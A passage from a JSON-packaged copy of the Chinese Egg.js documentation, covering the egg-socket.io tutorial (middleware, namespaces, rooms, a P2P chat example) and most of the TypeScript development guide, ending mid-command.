模式下工作。因此，需要给 startCluster 传递 sticky 参数。\n\n修改 `package.json` 中的 npm scripts 脚本：\n\n```json\n{\n  \"scripts\": {\n    \"dev\": \"egg-bin dev --sticky\",\n    \"start\": \"egg-scripts start --sticky\"\n  }\n}\n```\n\n**Nginx 配置**\n\n```nginx\nlocation / {\n    proxy_set_header Upgrade $http_upgrade;\n    proxy_set_header Connection \"upgrade\";\n    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n    proxy_set_header Host $host;\n    proxy_pass   http://127.0.0.1:7001;\n```\n\n## 使用 `egg-socket.io`\n\n开启 [egg-socket.io] 的项目目录结构如下：\n\n```\nchat\n├── app\n│   ├── extend\n│   │   └── helper.js\n│   ├── io\n│   │   ├── controller\n│   │   │   └── default.js\n│   │   └── middleware\n│   │       ├── connection.js\n│   │       └── packet.js\n│   └── router.js\n├── config\n└── package.json\n```\n\n> 注意：对应的文件都在 `app/io` 目录下。\n\n### Middleware\n\n中间件有以下两种场景：\n\n- Connection\n- Packet\n\n它们的配置位于各个命名空间下，根据上述两种场景分别起作用。\n\n**注意：**\n\n如果启用了框架中间件，会在项目中发现以下目录：\n\n- `app/middleware`：框架中间件。\n- `app/io/middleware`：插件中间件。\n\n两者的区别：\n\n- 框架中间件基于 HTTP 模型设计，处理 HTTP 请求。\n- 插件中间件基于 socket 模型设计，处理 `socket.io` 请求。\n\n虽然框架通过插件尽量统一了它们的风格，但必须注意，它们的使用场景是不同的。详情请参见 issue [#1416](https://github.com/eggjs/egg/issues/1416)。\n\n#### Connection\n\n每个客户端连接或退出时起作用。因此，通常在这一步进行授权认证，并对认证失败的客户端进行处理。\n\n```js\n// {app_root}/app/io/middleware/connection.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    ctx.socket.emit('res', 'connected!');\n    await next();\n    // execute when disconnect.\n    console.log('disconnection!');\n  };\n};\n```\n\n踢出用户示例：\n\n```js\nconst tick = (id, msg) => {\n  logger.debug('#tick', id, msg);\n  socket.emit(id, msg);\n  app.io.of('/').adapter.remoteDisconnect(id, true, (err) => {\n    logger.error(err);\n  });\n};\n```\n\n针对当前连接的简单处理示例：\n\n```js\n// {app_root}/app/io/middleware/connection.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    if (true) {\n      ctx.socket.disconnect();\n      return;\n    }\n    await next();\n    console.log('disconnection!');\n  };\n};\n```\n\n#### Packet\n\n每条数据包（消息）都会执行该中间件。在生产环境中，通常用于对消息做预处理，或者对加密消息进行解密等操作。\n\n```js\n// {app_root}/app/io/middleware/packet.js\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    ctx.socket.emit('res', 'packet received!');\n    console.log('packet:', ctx.packet);\n    await next();\n  };\n};\n```\n\n### Controller\n\nController 对客户端发送的 event 进行处理；由于其继承自 `egg.Controller`，拥有以下成员对象：\n\n- `ctx`\n- `app`\n- `service`\n- `config`\n- `logger`\n\n详情参考 [Controller](../basics/controller.md) 文档。\n\n```js\n// {app_root}/app/io/controller/default.js\n'use strict';\n\nconst Controller = require('egg').Controller;\n\nclass DefaultController extends Controller {\n  async ping() {\n    const { ctx } = this;\n    const message = ctx.args[0];\n    await ctx.socket.emit('res', `Hi! I've got your message: ${message}`);\n  }\n}\n\nmodule.exports = DefaultController;\n```\n\n### Router\n\n路由负责将 socket 连接的不同 events 分发到对应的 controller，框架统一了其使用方式。\n\n```js\n// {app_root}/app/router.js\n\nmodule.exports = (app) => {\n  const { router, controller, io } = app;\n\n  // default\n  router.get('/', controller.home.index);\n\n  // socket.io\n  io.of('/').route('server', io.controller.home.server);\n};\n```\n\n**注意：**\n\n`nsp` 有如下的系统事件：\n\n- `disconnecting`：正在断开连接。\n- `disconnect`：连接已断开。\n- `error`：发生错误。\n\n### Namespace/Room\n\n#### Namespace (nsp)\n\n`namespace` 通常意味着分配到不同的接入点或者路径，如果客户端没有指定 `nsp`，则默认分配到 \"/\" 这个默认的命名空间。\n\n在 socket.io 中我们通过 `of` 来划分命名空间；鉴于 `nsp` 通常是预定义且相对固定的存在，框架将其进行了封装，采用配置的方式来划分不同的命名空间。\n\n```js\n// socket.io\nconst nsp = io.of('/my-namespace');\nnsp.on('connection', (socket) => {\n  console.log('someone connected');\n});\nnsp.emit('hi', 'everyone!');\n\n// egg\nexports.io = {\n  namespace: {\n    '/': {\n      connectionMiddleware: [],\n      packetMiddleware: [],\n    },\n  },\n};\n```\n\n#### Room\n\n`room` 存在于 `nsp` 中，通过 `join`/`leave` 方法来加入或者离开；框架中使用方法相同。\n\n```js\nconst room = 'default_room';\n\nmodule.exports = (app) => {\n  return async (ctx, next) => {\n    ctx.socket.join(room);\n    ctx.app.io\n      .of('/')\n      .to(room)\n      .emit('online', { msg: 'welcome', id: ctx.socket.id });\n    await next();\n    console.log('disconnection!');\n  };\n};\n```\n\n**注意：** 每一个 socket 连接都会拥有一个随机且不可预测的唯一 id `Socket#id`，并且会自动加入到以这个 `id` 命名的 `room` 中。\n\n## 实例\n\n这里我们使用 [egg-socket.io](https://github.com/eggjs/egg-socket.io) 来做一个支持 P2P 聊天的小例子。\n\n### 客户端\n\nUI 相关的内容不重复编写，通过 `window.socket` 调用即可。\n\n```js\n// 浏览器\nconst log = console.log;\n\nwindow.onload = function () {\n  // 初始化\n  const socket = io('/', {\n    // 实际使用中可以在这里传递参数\n    query: {\n      room: 'demo',\n      userId: `client_${Math.random()}`, // 传递了 room 和 userId 两个参数\n    },\n\n    transports: ['websocket'],\n  });\n\n  socket.on('connect', () => {\n    const id = socket.id;\n\n    log('#connect,', id, socket);\n\n    // 监听自身 id，以实现 P2P 通讯\n    socket.on(id, (msg) => {\n      log('#receive,', msg);\n    });\n  });\n\n  // 接收在线用户信息\n  socket.on('online', (msg) => {\n    log('#online,', msg);\n  });\n\n  // 系统事件\n  socket.on('disconnect', (msg) => {\n    log('#disconnect', msg);\n  });\n\n  socket.on('disconnecting', () => {\n    log('#disconnecting');\n  });\n\n  socket.on('error', () => {\n    log('#error');\n  });\n\n  window.socket = socket;\n};\n```\n\n#### 微信小程序\n\n微信小程序提供的 API 为 `WebSocket` ，因为 `socket.io` 是 `WebSocket` 的上层封装，所以我们无法直接使用小程序的 API 连接。可以使用类似 [weapp.socket.io](https://github.com/wxsocketio/weapp.socket.io) 的库适配。\n\n示例代码如下：\n\n```js\n// 小程序端示例代码\nconst io = require('./your_path/weapp.socket.io.js'); // 请替换成实际路径\n\nconst socket = io('http://localhost:8000');\n\nsocket.on('connect', function () {\n  console.log('connected');\n});\n\nsocket.on('news', (d) => {\n  console.log('received news:', d);\n});\n\nsocket.emit('news', {\n  title: 'this is a news',\n});\n```\n\n### server\n\n以下是 `demo` 的部分代码，并解释了各个方法的作用。\n\n#### config\n\n```js\n// {app_root}/config/config.${env}.js\nexports.io = {\n  namespace: {\n    '/': {\n      connectionMiddleware: ['auth'],\n      packetMiddleware: [], // 针对消息的处理暂时不实现\n    },\n  },\n\n  // cluster 模式下，通过 redis 实现数据共享\n  redis: {\n    host: '127.0.0.1',\n    port: 6379,\n  },\n};\n\n// 可选\nexports.redis = {\n  client: {\n    port: 6379,\n    host: '127.0.0.1',\n    password: '',\n    db: 0,\n  },\n};\n```\n\n#### helper\n\n框架扩展用于封装数据格式。\n\n```js\n// {app_root}/app/extend/helper.js\n\nmodule.exports = {\n  parseMsg(action, payload = {}, metadata = {}) {\n    const meta = Object.assign({}, { timestamp: Date.now() }, metadata);\n\n    return {\n      meta,\n      data: {\n        action,\n        payload,\n      },\n    };\n  },\n};\n```\n\nFormat：\n\n```js\n{\n  data: {\n    action: 'exchange', // 'deny' || 'exchange' || 'broadcast'\n    payload: {}\n  },\n  meta: {\n    timestamp: 1512116201597,\n    client: 'nNx88r1c5WuHf9XuAAAB',\n    target: 'nNx88r1c5WuHf9XuAAAB'\n  }\n}\n```\n\n#### 中间件\n\n[egg-socket.io] 中间件负责处理 socket 连接。\n\n```js\n// {app_root}/app/io/middleware/auth.js\n\nconst PREFIX = 'room';\n\nmodule.exports = () => {\n  return async (ctx, next) => {\n    const { app, socket, logger, helper } = ctx;\n    const id = socket.id;\n    const nsp = app.io.of('/');\n    const query = socket.handshake.query;\n\n    // 用户信息\n    const { room, userId } = query;\n    const rooms = [room];\n\n    logger.debug('#user_info', id, room, userId);\n\n    const tick = (id, msg) => {\n      logger.debug('#tick', id, msg);\n\n      // 踢出用户前发送信息\n      socket.emit(id, helper.parseMsg('deny', msg));\n\n      // 调用 adapter 方法踢出用户，客户端会触发 disconnect 事件\n      nsp.adapter.remoteDisconnect(id, true, (err) => {\n        logger.error(err);\n      });\n    };\n\n    // 检查房间是否存在，不存在则踢出用户\n    // 注：此处 app.redis 与插件无关，可用其他存储替代\n    const hasRoom = await app.redis.get(`${PREFIX}:${room}`);\n\n    logger.debug('#has_exist', hasRoom);\n\n    // 若房间不存在\n    if (!hasRoom) {\n      tick(id, {\n        type: 'deleted',\n        message: 'deleted, room has been deleted.',\n      });\n      return;\n    }\n\n    // 用户加入房间\n    logger.debug('#join', room);\n    socket.join(room);\n\n    // 获取在线列表\n    nsp.adapter.clients(rooms, (err, clients) => {\n      logger.debug('#online_join', clients);\n\n      // 更新在线用户列表\n      nsp.to(room).emit('online', {\n        clients,\n        action: 'join',\n        target: 'participator',\n        message: `User(${id}) joined.`,\n      });\n    });\n\n    await next();\n\n    // 用户离开房间\n    logger.debug('#leave', room);\n\n    // 获取在线列表\n    nsp.adapter.clients(rooms, (err, clients) => {\n      logger.debug('#online_leave', clients);\n\n      // 更新在线用户列表\n      nsp.to(room).emit('online', {\n        clients,\n        action: 'leave',\n        target: 'participator',\n        message: `User(${id}) leaved.`,\n      });\n    });\n  };\n};\n```\n\n#### 控制器\n\nP2P 通信，通过 exchange 方法实现数据交换。\n\n```js\n// {app_root}/app/io/controller/nsp.js\nconst Controller = require('egg').Controller;\n\nclass NspController extends Controller {\n  async exchange() {\n    const { ctx, app } = this;\n    const nsp = app.io.of('/');\n    const message = ctx.args[0] || {};\n    const socket = ctx.socket;\n    const client = socket.id;\n\n    try {\n      const { target, payload } = message;\n      if (!target) return;\n      const msg = ctx.helper.parseMsg('exchange', payload, { client, target });\n      nsp.emit(target, msg);\n    } catch (error) {\n      app.logger.error(error);\n    }\n  }\n}\n\nmodule.exports = NspController;\n```\n\n#### router\n\n```js\n// {app_root}/app/router.js\nmodule.exports = (app) => {\n  const { router, controller, io } = app;\n  router.get('/', controller.home.index);\n\n  // socket.io\n  io.of('/').route('exchange', io.controller.nsp.exchange);\n};\n```\n\n打开两个 tab 页面，并调出控制台：\n\n```js\nsocket.emit('exchange', {\n  target: 'Dkn3UXSu8_jHvKBmAAHW',\n  payload: {\n    msg: 'test',\n  },\n});\n```\n\n![](https://raw.githubusercontent.com/eggjs/egg/master/docs/assets/socketio-console.png)\n\n## 参考链接\n\n- [socket.io](https://socket.io)\n- [egg-socket.io](https://github.com/eggjs/egg-socket.io)\n- [egg-socket.io 示例](https://github.com/eggjs/egg-socket.io/tree/master/example)（egg-socket.io example）\n- [egg-socket.io 演示](https://github.com/eggjs-community/demo-egg-socket.io)（egg-socket.io demo）\n- [nginx 代理绑定](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_bind)（nginx proxy_bind）\n\n[socket.io]: https://socket.io\n[egg-socket.io]: https://github.com/eggjs/egg-socket.io\n[uws]: https://github.com/uWebSockets/uWebSockets\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/typescript.md",
    "content": "# TypeScript\n\n> [TypeScript](https://www.typescriptlang.org/) 是 JavaScript 的一个类型超集，它可以被编译成纯 JavaScript。\n\nTypeScript 提供的静态类型检查、智能提示和 IDE 友好性等特性，对于大规模企业级应用来说，具有极高的价值。有关详细信息，请参见：[TypeScript 体系调研报告](https://juejin.im/post/59c46bc86fb9a00a4636f939)。\n\n然而，在之前使用 TypeScript 开发 Egg 应用时，会遇到一些影响**开发者体验**的问题：\n\n- Egg 特有的 Loader 动态加载机制，使得 TypeScript 无法进行某些依赖的静态分析。\n- 在自动合并配置的机制中，如何在 `config.{env}.js` 中修改插件提供的配置，同时能够进行校验并智能提示？\n- 开发期间需要启动一个单独的 `tsc -w` 进程来构建代码，这将导致临时文件位置的不确定性以及 `npm scripts` 的复杂性。\n- 单元测试、覆盖率测试以及线上错误的堆栈如何指向 TypeScript 源文件，而非编译后的 JavaScript 文件。\n\n本文主要介绍：\n\n- **应用层 TypeScript 开发规范**\n- **我们在工具链方面的支持，以解决上述问题，让开发者基本无感知的同时，也保持了一致性的体验。**\n\n关于具体开发过程的详细信息，请参见：[[RFC] TypeScript tool support](https://github.com/eggjs/egg/issues/2272)。\n\n---\n\n## 快速入门\n\n通过骨架快速初始化一个项目：\n\n```bash\n$ mkdir showcase && cd showcase\n$ npm init egg --type=ts\n$ npm i\n$ npm run dev\n```\n\n上面的骨架会生成一个极简版的示例，更完整的示例请参见：[eggjs/examples/hackernews-async-ts](https://github.com/eggjs/examples/tree/master/hackernews-async-ts)\n\n![tegg.gif](https://user-images.githubusercontent.com/227713/38358019-bf7890fa-38f6-11e8-8955-ea072ac6dc8c.gif)\n\n---\n\n## 目录规范\n\n**约束条件：**\n\n- Egg 目前没有打算采用 TypeScript 进行重写。\n- Egg 及相关插件会提供 `index.d.ts` 文件以方便开发者使用。\n- TypeScript 是社区的一种实践方式，我们通过工具链提供一定程度的支持。\n- TypeScript 要求版本至少为 2.8。\n\n整体的目录结构与一般的 Egg 项目没有太大差异：\n\n- 采用 `typescript` 代码风格，文件后缀名为 `.ts`。\n- `typings` 目录用于存放 `d.ts` 文件（大部分文件可以自动生成）。\n\n```bash\nshowcase\n├── app\n│   ├── controller\n│   │   └── home.ts\n│   ├── service\n│   │   └── news.ts\n│   └── router.ts\n├── config\n│   ├── config.default.ts\n│   ├── config.local.ts\n│   ├── config.prod.ts\n│   └── plugin.ts\n├── test\n│   └── **/*.test.ts\n├── typings\n│   └── **/*.d.ts\n├── README.md\n├── package.json\n├── tsconfig.json\n└── tslint.json\n```\n\n### 控制器（Controller）\n\n```typescript\n// app/controller/home.ts\nimport { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  public async index() {\n    const { ctx, service } = this;\n    const page = ctx.query.page;\n    const result = await service.news.list(page);\n    await ctx.render('home.tpl', result);\n  }\n}\n```\n\n### 路由（Router）\n\n```typescript\n// app/router.ts\nimport { Application } from 'egg';\n\nexport default (app: Application) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n```\n\n### 服务（Service）\n\n```typescript\n// app/service/news.ts\nimport { Service } from 'egg';\n\nexport default class NewsService extends Service {\n  public async list(page?: number): Promise<NewsItem[]> {\n    return [];\n  }\n}\n\nexport interface NewsItem {\n  id: number;\n  title: string;\n}\n```\n\n### 中间件（Middleware）\n\n```typescript\nimport { Context } from 'egg';\n\n// 这是你自定义的中间件\nexport default function fooMiddleware(): any {\n  return async (ctx: Context, next: () => Promise<any>) => {\n    // 你可以获取 config 的配置：\n    // const config = ctx.app.config;\n    // config.xxx...\n    await next();\n  };\n}\n```\n\n当某个 Middleware 文件的名称与 config 中某个属性名一致时，Middleware 会自动把这个属性下的所有配置读取过来。\n\n假设你有一个 Middleware，名称是 `uuid`，在 `config.default.js` 中的配置如下：\n\n```javascript\n'use strict';\n\nimport { EggAppConfig, PowerPartial } from 'egg';\n\nexport default function(appInfo: EggAppConfig) {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  config.keys = appInfo.name + '123123';\n\n  config.middleware = ['uuid'];\n\n  config.security = {\n    csrf: {\n      ignore: '123',\n    },\n  };\n\n  const bizConfig = {\n    local: {\n      msg: 'local',\n    },\n\n    uuid: {\n      name: 'ebuuid',\n      maxAge: 1000 * 60 * 60 * 24 * 365 * 10,\n    },\n  };\n\n  return {\n    ...config,\n    ...bizConfig,\n  };\n}\n```\n\n在对应的 `uuid` 中间件中：\n\n```typescript\n// app/middleware/uuid.ts\n\nimport { Context, Application, EggAppConfig } from 'egg';\n\nexport default function uuidMiddleWare(\n  options: EggAppConfig['uuid'],\n  app: Application,\n): any {\n  return async (ctx: Context, next: () => Promise<any>) => {\n    // name 就是 `config.default.js` 中 `uuid` 下的属性\n    console.info(options.name);\n    await next();\n  };\n}\n```\n\n**注意：目前中间件的返回值必须是 `any` 类型。这是因为，如果使用 Koa 的 `IRouteContext` 类和 Egg 的 `Context` 类时，它们不兼容，将导致编译报错。**\n\n### 扩展（Extend）\n\n```typescript\n// app/extend/context.ts\nimport { Context } from 'egg';\n\nexport default {\n  isAjax(this: Context) {\n    return this.get('X-Requested-With') === 'XMLHttpRequest';\n  },\n};\n\n// app.ts\nexport default (app) => {\n  app.beforeStart(async () => {\n    await Promise.resolve('egg + ts');\n  });\n};\n```\n\n### 配置（Config）\n\n`Config` 这部分稍微有点复杂，因为要支持：\n\n- 在 Controller，Service 那边使用配置，需支持多级提示，并自动关联。\n- Config 内部，`config.view = {}` 的写法，也应该支持提示。\n- 在 `config.{env}.ts` 里可以用到 `config.default.ts` 自定义配置的提示。\n\n```typescript\n// app/config/config.default.ts\nimport { EggAppInfo, EggAppConfig, PowerPartial } from 'egg';\n\nexport default (appInfo: EggAppInfo) => {\n  const config = {} as PowerPartial<EggAppConfig>;\n\n  // 覆盖框架，插件的配置\n  config.keys = appInfo.name + '123456';\n  config.view = {\n    defaultViewEngine: 'nunjucks',\n    mapping: {\n      '.tpl': 'nunjucks',\n    },\n  };\n\n  // 应用本身的配置\n  const bizConfig = {};\n  bizConfig.news = {\n    pageSize: 30,\n    serverUrl: 'https://hacker-news.firebaseio.com/v0',\n  };\n\n  // 目的是将业务配置属性合并到 EggAppConfig 中返回\n  return {\n    // 如果直接返回 config ，则将该类型合并到 EggAppConfig 的时候可能会出现 circulate type 错误。\n    ...(config as {}),\n    ...bizConfig,\n  };\n};\n```\n\n当 `EggAppConfig` 合并 `config.default.ts` 的类型后，在其他 `config.{env}.ts` 中这么写就也可以获得在 `config.default.ts` 定义的自定义配置的智能提示：\n\n```typescript\n// app/config/config.local.ts\nimport { EggAppConfig } from 'egg';\n\nexport default () => {\n  const config = {} as PowerPartial<EggAppConfig>;\n  // 这里就可以获得 news 的智能提示了\n  config.news = {\n    pageSize: 20,\n  };\n  return config;\n};\n```\n\n备注：\n\n- TS 的 `Conditional Types` 是我们能完美解决 Config 提示的关键。\n- 有兴趣的可以浏览 `egg/index.d.ts` 里面 `PowerPartial` 的实现。\n\n```typescript\n// {egg}/index.d.ts\ntype PowerPartial<T> = {\n  [U in keyof T]?: T[U] extends {} ? PowerPartial<T[U]> : T[U];\n};\n```\n\n### 插件（Plugin）\n\n```javascript\n// config/plugin.ts\nimport { EggPlugin } from 'egg';\n\nconst plugin: EggPlugin = {\n  static: true,\n  nunjucks: {\n    enable: true,\n    package: 'egg-view-nunjucks',\n  },\n};\n\nexport default plugin;\n```\n\n### 生命周期（Lifecycle）\n\n```typescript\n// app.ts\nimport { Application, IBoot } from 'egg';\n\nexport default class FooBoot implements IBoot {\n  private readonly app: Application;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configWillLoad() {\n    // 预备调用 configDidLoad，\n    // Config 和 plugin 文件已被引用，\n    // 这是修改配置的最后机会。\n  }\n\n  configDidLoad() {\n    // Config 和 plugin 文件已加载。\n  }\n\n  async didLoad() {\n    // 所有文件已加载，此时可以启动插件。\n  }\n\n  async willReady() {\n    // 所有插件已启动，这里可以执行一些在应用准备好之前的操作。\n  }\n\n  async didReady() {\n    // Worker 已准备好，可以执行一些不会阻塞应用启动的操作。\n  }\n\n  async serverDidReady() {\n    // 服务器已监听。\n  }\n\n  async beforeClose() {\n    // 应用关闭前执行的操作。\n  }\n}\n```\n\n### TS 类型定义（Typings）\n\n该目录为 TS 的规范，在里面的 `**/*.d.ts` 文件将被自动识别。\n\n- 开发者需要手写的建议放在 `typings/index.d.ts` 中。\n- 工具会自动生成 `typings/{app,config}/**.d.ts`，请勿自行修改，避免被覆盖（见下文）。\n\n---\n\n## 开发期\n\n### ts-node\n\n`egg-bin` 已经内建了 [ts-node](https://github.com/TypeStrong/ts-node)，`egg loader` 在开发期会自动加载 `*.ts` 并内存编译。\n\n目前已支持 `dev` / `debug` / `test` / `cov`。\n\n开发者仅需简单配置下 `package.json`：\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n```\n\n### 单元测试和覆盖率（Unit Test and Coverage）\n\n单元测试当然少不了：\n\n```typescript\n// test/app/service/news.test.ts\nimport assert from 'assert';\nimport { Context } from 'egg';\nimport { app } from 'egg-mock/bootstrap';\n\ndescribe('test/app/service/news.test.js', () => {\n  let ctx: Context;\n\n  before(async () => {\n    ctx = app.mockContext();\n  });\n\n  it('list()', async () => {\n    const list = await ctx.service.news.list();\n    assert(list.length === 30);\n  });\n});\n```\n\n运行命令也跟之前一样，并内置了错误堆栈和覆盖率的支持：\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"test\": \"npm run lint -- --fix && npm run test-local\",\n    \"test-local\": \"egg-bin test\",\n    \"cov\": \"egg-bin cov\",\n    \"lint\": \"tslint .\"\n  }\n}\n```\n\n### 调试（Debug）\n\n断点调试与之前没有什么区别，会自动通过 `sourcemap` 命中正确的位置。\n\n```json\n{\n  \"name\": \"showcase\",\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"debug\": \"egg-bin debug\",\n    \"debug-test\": \"npm run test-local\"\n  }\n}\n```\n\n- [使用 VSCode 进行调试](https://eggjs.org/zh-cn/core/development.html#使用-vscode-进行调试)\n- [VSCode 调试 Egg 完美版 - 进化史](https://github.com/atian25/blog/issues/25)\n\n---\n\n## 部署（Deploy）\n\n### 构建（Build）\n\n- 正式环境下，我们更倾向于把 `ts` 构建为 `js`，建议在 `ci` 上构建并打包。\n\n配置 `package.json` ：\n\n```json\n{\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"3\"\n  },\n  \"egg\": {\n    \"typescript\": true,\n    \"declarations\": true\n  },\n  \"scripts\": {\n    \"start\": \"egg-scripts start --title=egg-server-showcase\",\n    \"stop\": \"egg-scripts stop --title=egg-server-showcase\",\n    \"tsc\": \"ets && tsc -p tsconfig.json\",\n    \"ci\": \"npm run lint && npm run cov && npm run tsc\",\n    \"clean\": \"ets clean\"\n  }\n}\n```\n\n对应的 `tsconfig.json` ：\n\n```json\n{\n  \"extends\": \"@eggjs/tsconfig\",\n  \"exclude\": [\"app/public\", \"app/web\", \"app/views\"]\n}\n```\n\n**注意：** 当有同名的 `ts` 和 `js` 文件时，egg 会优先加载 `js` 文件。\n\n### 错误堆栈（Error Stack）\n\n线上服务的代码是经过编译后的 `js`，而我们期望看到的错误堆栈是指向 `TS` 源码。\n因此：\n\n- 在构建的时候，需配置 `inlineSourceMap: true` 在 `js` 底部插入 `sourcemap` 信息。\n- 在 `egg-scripts` 内建了处理，会自动纠正为正确的错误堆栈，应用开发者无需担心。\n\n具体内幕参见以下链接：\n\n- [知乎专栏](https://zhuanlan.zhihu.com/p/26267678)\n- [GitHub PR](https://github.com/eggjs/egg-scripts/pull/19)\n\n---\n\n## 插件 / 框架开发指南\n\n**指导原则：**\n\n- 不建议使用 `TS` 直接开发插件/框架，发布到 `npm` 的插件应该是 `js` 形式。\n- 当你开发了一个插件/框架后，需要提供对应的 `index.d.ts`。\n- 通过 [Declaration Merging](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) 将插件/框架的功能注入到 `Egg` 中。\n- 都挂载到 `egg` 这个模块，不要用上层框架。\n\n### 插件\n\n```typescript\n// {plugin_root}/index.d.ts\n\nimport 'egg';\nimport News from '../../../app/service/News';\n\ndeclare module 'egg' {\n  // 扩展 service\n  interface IService {\n    news: News;\n  }\n\n  // 扩展 app\n  interface Application {}\n\n  // 扩展 context\n  interface Context {}\n\n  // 扩展你的配置\n  interface EggAppConfig {}\n\n  // 扩展自定义环境\n  type EggEnvType = 'local' | 'unittest' | 'prod' | 'sit';\n}\n```\n\n### 上层框架\n\n定义：\n\n```typescript\n// {framework_root}/index.d.ts\n\nimport * as Egg from 'egg';\n\n// 将该上层框架用到的插件 import 进来\nimport 'my-plugin';\n\ndeclare module 'egg' {\n  // 跟插件一样扩展 egg ...\n}\n\n// 将 `Egg` 整个 export 出去\nexport = Egg;\n```\n\n开发者使用的时候，可以直接 import 你的框架：\n\n```typescript\n// app/service/news.ts\n\n// 开发者引入你的框架，也可以使用到提示到所有 `Egg` 的提示\nimport { Service } from 'duck-egg';\n\nexport default class NewsService extends Service {\n  public async list(page?: number): Promise<NewsItem[]> {\n    return [];\n  }\n}\n```\n\n## 常见问题\n\n汇集了一些人们频繁提问的 `issue` 问题，并给出了统一的解答。\n\n### 运行 `npm start` 不会加载 `ts`\n\n运行 `npm start` 实际上是执行了 `egg-scripts start` 命令，而 `ts-node` 只在 `egg-bin` 中被集成，只有使用 `egg-bin` 的时候，才允许直接运行 `ts` 文件。\n\n`egg-scripts` 是在生产环境下运行 `egg` 的 `CLI` 工具。在生产环境中我们建议先将 `ts` 编译成 `js`，然后再执行，因为在线上环境中，需要考虑应用的健壮性和性能，所以不建议使用 `ts-node`。\n\n而在开发环境中，`ts-node` 能减少 `tsc` 编译产生的文件管理成本，且在开发环境中带来的性能损耗几乎可以忽略，因此 `egg-bin` 中集成了 `ts-node`。\n\n**总结：** 如果项目需要在线上环境运行，请先使用 `tsc` 将 `ts` 编译成 `js`（`npm run tsc`），然后再运行 `npm start`。\n\n### 使用了 `egg` 插件后发现没有对应插件挂载的对象\n\n出现这个问题通常有两个原因：\n\n**1. 该 `egg` 插件未定义 `d.ts`。**\n\n如果在插件中想要将某个对象挂载到 `egg` 的类型中，需要按照分节“插件 / 框架开发指南”补充声明文件到相应插件中。\n\n如果想要快速上线解决这个问题，可以直接在项目下新建一个声明文件。比如使用了 `egg-dashboard` 插件，该插件在 `egg` 的 `app` 对象中挂载了 `dashboard` 对象，但插件没有提供声明，直接使用 `app.dashboard` 会导致类型错误。此时可以在项目下的 `typings` 目录中新建 `index.d.ts` 文件，并写入以下内容：\n\n```typescript\n// typings/index.d.ts\n\nimport 'egg';\n\ndeclare module 'egg' {\n  interface Application {\n    dashboard: any;\n  }\n}\n```\n\n这样即可暂时解决问题，但我们更希望您能为缺少声明的插件提供 PR，以补充声明帮助更多人。\n\n**2. `egg` 插件定义了 `d.ts` ，但未被引入。**\n\n即使 `egg` 插件正确地定义了 `d.ts`，也需要在应用或框架层明确地引入它，`ts` 才能加载对应类型。\n\n```typescript\n// typings/index.d.ts\n\nimport 'egg-dashboard';\n```\n\n**注意：** 必须在 `d.ts` 中 `import`。由于 `egg` 插件大部分没有入口文件，如果在 `ts` 文件中 `import`，运行时可能出现问题。\n\n### 在 `tsconfig.json` 中配置了 `paths` 无效\n\n此问题严格来说并非 `egg` 特有，但常见，故在此解答。原因是当 `tsc` 将 `ts` 编译成 `js` 时，并不转换 `import` 的模块路径。因此，若您在 `tsconfig.json` 中配置了 `paths` 后，在 `ts` 中使用 `paths` 导入对应模块，编译成 `js` 后可能出现模块找不到的问题。\n\n解决方法：不使用 `paths`；或使用 `paths` 时只导入声明，不导入具体值；或使用 [`tsconfig-paths`](https://github.com/dividab/tsconfig-paths) 动态处理。\n\n使用 `tsconfig-paths` 时，可以直接在 `config/plugin.ts` 中引入，因为它总是最先加载的。在代码中引入该模块，见下例：\n\n```typescript\n// config/plugin.ts\n\nimport 'tsconfig-paths/register';\n\n// 其他代码\n```\n\n### 如何为 `egg` 插件编写声明单测？\n\n许多开发者在给 `egg` 插件提交声明时，不了解如何编写单元测试来验证声明的准确性。以下是解决方法。\n\n在编写完 `egg` 插件的声明后，可以在 `test/fixtures` 中创建一个使用 `ts` 编写的 `egg` 应用，类似于 [https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts](https://github.com/eggjs/egg-view/tree/master/test/fixtures/apps/ts) 的样本，并在 `tsconfig.json` 中加入 `paths` 配置，便于在单元测试中 `import` 模块。如 `egg-view` 中配置：\n\n```json\n\"paths\": {\n  \"egg-view\": [\"../../../../\"]\n}\n```\n\n同时请勿在 `tsconfig.json` 中设置 `\"skipLibCheck\": true`。如果设置为 `true`，`tsc` 编译时会忽略 `d.ts` 文件中的类型检查，使单元测试失去意义。\n\n接着添加用例验证插件声明的正确性，参考 `egg-view`：\n\n```js\ndescribe('typescript', () => {\n  it('should compile ts without error', () => {\n    return (\n      coffee\n        .fork(require.resolve('typescript/bin/tsc'), [\n          '-p',\n          path.resolve(__dirname, './fixtures/apps/ts/tsconfig.json'),\n          '--noEmit',\n        ])\n        // .debug()\n        .expect('code', 0)\n        .end()\n    );\n  });\n});\n```\n\n以下几个项目可作为单元测试参考：\n\n- [https://github.com/eggjs/egg](https://github.com/eggjs/egg)\n- [https://github.com/eggjs/view](https://github.com/eggjs/view)\n- [https://github.com/eggjs/egg-logger](https://github.com/eggjs/egg-logger)\n\n### 编译速度慢？\n\n根据我们的实践，`ts-node` 是目前相对较优的解决方案，既不用另起终端执行 `tsc`，也能获得还能接受的启动速度（仅限于 `ts-node@7`，新的版本由于把文件缓存去掉了，导致特别慢（[#754](https://github.com/TypeStrong/ts-node/issues/754)），因此未升级）。\n\n但如果项目特别庞大，`ts-node` 的性能也会吃紧，我们提供了以下优化方案供参考：\n\n#### 关闭类型检查\n\n编译耗时大头在类型检查。如果关闭，也能带来一定的性能提升。可以在启动应用时带上 `TS_NODE_TRANSPILE_ONLY=true` 环境变量，比如\n\n```bash\n$ TS_NODE_TRANSPILE_ONLY=true egg-bin 